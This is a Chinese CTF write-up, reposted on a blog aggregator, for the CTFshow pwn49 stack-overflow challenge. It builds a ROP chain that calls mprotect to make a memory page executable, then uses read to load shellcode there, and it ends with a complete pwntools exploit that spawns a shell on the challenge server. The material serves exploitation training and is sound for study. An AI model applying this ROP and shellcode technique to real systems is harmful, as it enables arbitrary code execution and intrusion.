CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

这篇具有很好参考价值的文章主要介绍了CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

pwn49

CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。

chomd +x pwn
checksec pwn
file pwn

CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀!

根据题目的提示,我们可能需要用到mprotect函数,那我们就先来了解一下什么是mprotect函数吧。这个函数是只要是静态链接的文件都会有的哦。

mprotect()函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

OK,开始做题,我们先来将pwn文件拖入ida中反编译一下,查看一下反编译的c代码。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0();
  logo();
  ctfshow();
  return 0;
}
// ctfshow
int ctfshow()
{
  char v1[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, v1, 100);
}

可以算出偏移地址为0x12 + 0x4 = 22
既然程序是静态连接,并且里面没有system函数,我们就不能使用ret2libc来打了。所以我们就是用mprotect函数来打,因为mprotect函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将shellcode写在这段空间,之后再将程序的控制流转到这里,不就可以执行shellcode了嘛?即使文件开启了NX,但是我们利用的是栈之外的空间,不久轻松绕过了NX。hhh

下面我们开始构思我们的ROP链:
首先肯定是先来22个填充数据:

payload = 22 * 'a'

然后接下来就是ctfshow函数的返回地址,我们将返回地址设为mprotect函数的地址。我们使用gdb pwn动态调试,使用diass mprotect命令查看汇编代码就能看到mprotect函数的起始地址了。
CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
我们看到mprotect函数的地址为:0x0806cdd0
那么我们的ROP链就延长为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0)

接下来就是再填入一个mprotect函数的返回地址,这个返回地址可是大有讲究,因为我们需要将它的返回地址设置为read函数的地址,这样我们才能利用read函数将shellcode写到内存空间里。
这样我们的大概思路就是:
填充地址 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数
我们看到mprotect函数是有三个参数的我们就必须要找到一个具有三个pop一个ret的gadget,因为,我们将三个参数pop之后,栈顶就是read函数的地址了,这样ret之后就跳到read函数执行了。

我们使用ROPgadget --binary pwn --only “pop|ret” | grep "pop"这条命令来找具有3个pop1个ret的gadget。
CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
那我们就选用这个第三个gadget,地址是0x08056194。
然后再gdb pwn,调试disass ctfshow查看ctfshow的汇编代码就能看到read函数的地址了。
CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
可以看到read函数地址为:0x806bee0

然后我们再来确定mprotect函数的参数:
第一个参数,我们要修改权限的内存空间起始地址,我们就是用got表的起始地址来存放shellcode。我们使用readelf -S pwn命令可以查看所有节头信息,里边就包含got表的起始地址。
CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
我们找到了got表的起始地址为:0x080da000
然后第二个参数是修改的空间大小为多少,我们就选用0x1000,足够我们的shellcode使用了。
第三个参数的我们对这片空间赋予的权限是什么,7代表可读可写可执行,这就跟linux文件权限的道理是一样的。

这样我们新的ROP链就为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址

接下来就是我们的read函数了。
开始调用read函数ROP链的大概图为:
read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)

这样的话我们就只需要获取read参数3就行了,因为返回地址即shellcode地址都已经找出了,参数1就写0就行,参数3的大小只要不小于shellcode的长度就行。
新的ROP链为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0) 
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

之后我们就可以先将ROP链发送过去,这时程序控制流就会执行我们ROP链中的read函数,然后我们再把我们的shellcode发送过去,就成功了!

完整wp:

from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址	
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil("    * *************************************                           ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

执行效果:
CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用),CTFShow,pwn,网络安全,安全,系统安全
成功拿到flag!文章来源地址https://www.toymoban.com/news/detail-534616.html

到了这里,关于CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 字符串溢出(pwn溢出)--ret2shellcode

    有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录 pwn溢出入门案例, 信息安全 https://saucer-man.com/information_security/177.html 这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,

    2024年02月02日
    浏览(31)
  • 攻防世界hello pwn WP(pwn入门基础题)

    题目网址: 攻防世界 下载文件,文件名太长了把文件改名为pwn 把pwn文件放入kali里面 file一下查看文件类型 发现是一个64位的elf文件,加个运行权限,运行一下看看  使用 checksec 检查保护 发现只开了 NX 保护。 把pwn放入64位IDA中,F5反汇编一下main函数 得到main函数伪代码 点击

    2024年02月10日
    浏览(31)
  • 2022CTF培训(九)MIPS PWN环境搭建&MIPS PWN入门

    附件下载链接 在 ARM PWN 环境搭建 的基础上,首先安装具备MIPS交叉编译gcc与MIPS程序动态链接库: 然后就可以正常运行 将 mipsel 添加到 qqemu-binfmt,这样 linux 可以根据文件头找相应的程序运行: 栈溢出 分析汇编可知,返回值存储在 $sp + 0x3C 处,而 buf 起始位置在 $sp + 0x18 处,

    2024年02月11日
    浏览(37)
  • Kernel pwn 入门 (3)

    这是一种绕过SMAP/SMEP和PXN防护的攻击方式。利用内核空间的direct mapping area(起始位置为0xFFF8880000000000)。Linux对内存的访问采用的是多级页表的方式,将某段物理内存映射到程序的虚拟内存空间中的某段地址。而在Linux内核空间中,还存在着direct mapping area这块区域,对于物理

    2024年02月06日
    浏览(30)
  • kernel pwn入门

    Linux Kernel 介绍 Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。 Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负

    2024年02月12日
    浏览(31)
  • musl pwn 入门 (1)

    近年来,musl libc作为一个轻量级的libc越来越多地出现在CTF pwn题之中,其和glibc相比有一定的差距,因此本文我们就musl libc最常考的考点——内存分配,进行musl libc的源代码审计。 不同于glibc多达四五千行代码,大小超过10w字节的malloc.c,musl libc中的malloc.c大小甚至都不到1w字节

    2023年04月25日
    浏览(20)
  • pwn入门小技巧

    我也是偶尔玩玩ctf,所以也不会很难的,所以这篇主要是帮助刚开始学习的人学习吧 首先知识点包括:栈,堆,整数溢出,格式化字符串 目前ctf的题越来越偏向于实际,有的会使用刚刚爆出来的CVE漏洞的,所以不能只局限于glibc 所以可以大体分为两类把:libc,kernel 栈利用:

    2024年02月08日
    浏览(28)
  • PWN学习之LLVM入门

    ①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数\\\"交叉引用\\\"来定位: ②通过逆向,找到函数名及参数,编写基本exp ③找到漏洞,写利用exp.c,其中的pwn的目标是

    2024年02月05日
    浏览(20)
  • 静态链接——编译和链接

    将所有的“define”删除,并且展开所有的宏定义。 处理所有条件预编译指令,比如“#if”、“#ifdef\\\'”、“#elif”、“#else”、“#endif\\\'”。 处理“#include”预编译指令,将被包含的文件插入到该预编译指令的位置。注意,这个过程是递归进行的,也就是说被包含的文件可能还包

    2024年02月12日
    浏览(27)
  • PWN入门&Protostar靶场Stack系列

    Protostar靶场地址 分析源码可以看见第8行,定义的字符串数组是64位。按照溢出的思路,我们应该是需要加一位字符串,也就是64位,这样子就可以溢出了。 而且通过11行可以看见,gets函数如果将继续存储字符当超过缓冲区的末端,将会影响计算机的安全。这是一个危险的函数

    2024年01月25日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包